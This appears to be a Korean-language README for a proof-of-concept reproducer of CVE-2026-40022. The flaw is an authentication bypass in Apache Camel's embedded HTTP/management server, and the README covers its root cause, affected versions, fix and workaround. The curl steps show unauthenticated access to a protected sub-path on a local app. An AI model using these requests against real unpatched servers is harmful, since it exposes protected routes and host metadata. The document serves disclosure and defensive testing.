
CVE-2026-40022 재현기: 루트가 아닌 컨텍스트 경로에서 Apache Camel camel-platform-http-main 인증 우회
이 프로젝트는 Apache Camel의 camel-platform-http-main 컴포넌트(Camel main 런타임의 내장 HTTP/관리 서버)에서 발생하는 인증 우회를 시연하며, CVE-2026-40022로 추적됩니다. 인증이 활성화되고 비루트 컨텍스트 경로(예: /api 또는 /admin)가 구성된 경우, 인증 핸들러는 정확한 컨텍스트 경로만 포함하므로 하위 경로로의 인증되지 않은 요청이 보호된 라우트와 관리 엔드포인트에 도달합니다.
권고: https://camel.apache.org/security/CVE-2026-40022.html
| 속성 | 값 |
|---|
| 컴포넌트 | camel-platform-http-main (Camel main 런타임 내장 HTTP/관리 서버) |
| 영향 받는 클래스 | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| 근본 원인 | authenticationPath가 설정되지 않으면 camel.server.path에서 파생됩니다. Vert.x 서브 라우터 마운팅 모델에서 인증 핸들러는 정확한 컨텍스트 경로만 일치시키며 하위 경로는 일치시키지 않습니다 |
| CWE | CWE-287: 부적절한 인증 (인증 우회) |
| 영향 | 인증되지 않은 접근으로 보호된 비즈니스 라우트 및 관리 엔드포인트에 도달 (예: /observe/info 런타임 메타데이터 노출) |
| 영향 받는 버전 | 4.14.1 이상 4.14.6 미만, 4.15.0 이상 4.18.2 미만 |
| 수정된 버전 | 4.14.6, 4.18.2, 4.20.0 |
| 신고자 | Jihang Yu |
| PR | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer(및 JWTAuthenticationConfigurer)는 인증 핸들러가 보호하는 경로를 properties.getAuthenticationPath()에서 확인하며, 명시적으로 설정되지 않은 경우 properties.getPath()(camel.server.path 컨텍스트 경로)로 폴백합니다:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
Vert.x 서버는 <contextPath>*에 서브 라우터를 마운트하고 확인된 경로에 해당 서브 라우터 내부에 인증 핸들러를 등록합니다. 영향을 받는 버전에서 확인된 경로는 컨텍스트 경로 자체이므로, 이미 /api에 마운트된 서브 라우터 기준으로 인증 핸들러는 모든 하위 경로가 아닌 /api/api와 일치하게 됩니다. 결과는 다음과 같습니다:
/api/api 는 401 챌린지가 발생함 — 핸들러가 존재하지만 범위가 잘못 지정됨/api/hello (실제 비즈니스 라우트) 는 챌린지가 발생하지 않음 → 자격 증명 없이 제공됨이 수정으로 resolveAuthenticationPath가 /*를 반환하여 핸들러가 서브 라우터의 모든 하위 경로를 포함하게 됩니다.
application.properties — 인증이 활성화되고 authenticationPath가 설정되지 않은 비루트 컨텍스트 경로:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
라우트는 /api/hello에서 제공됩니다.
외부 서비스나 Docker 컨테이너는 필요하지 않습니다 — 취약한 HTTP 서버는 앱 자체입니다.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
BasicAuthHandler는 활성화되어 있지만 — 정확한 컨텍스트 경로로 범위가 잘못 지정되어 있습니다.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (this is a PROTECTED business route)
수정된 버전(4.14.6 / 4.18.2 / 4.20.0)에서는 401 Unauthorized를 반환합니다.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
동일한 결함이 관리 서버(camel.management.path, 예: /admin)에도 적용됩니다. /admin/observe/info 같은 하위 경로로의 인증되지 않은 요청이 관리 엔드포인트에 도달하여 런타임 메타데이터(OS 사용자, 작업/홈 디렉터리, 프로세스 ID, JVM 및 OS 정보)를 노출할 수 있습니다.
camel-platform-http-main을 사용하는 Camel main 런타임.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath 명시적으로 설정되지 않음.4.14.6 / 4.18.2 / 4.20.0으로 업그레이드하세요. 수정(resolveAuthenticationPath)은 인증 핸들러가 모든 하위 경로를 포함하도록 합니다:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // was: the exact context path
}
업그레이드 전까지:
camel.server.authenticationPath = /*(및 camel.management.authenticationPath = /*)를 명시적으로 설정하여 핸들러가 모든 하위 경로를 포함하게 합니다.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Camel main runtime entry point
│ └── HelloRoute.java # a protected platform-http route (/api/hello)
└── resources/
├── application.properties # non-root path + auth enabled (the vulnerable config)
└── auth.properties # basic-auth user (camel / propertiesPass)
이 재현 도구는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.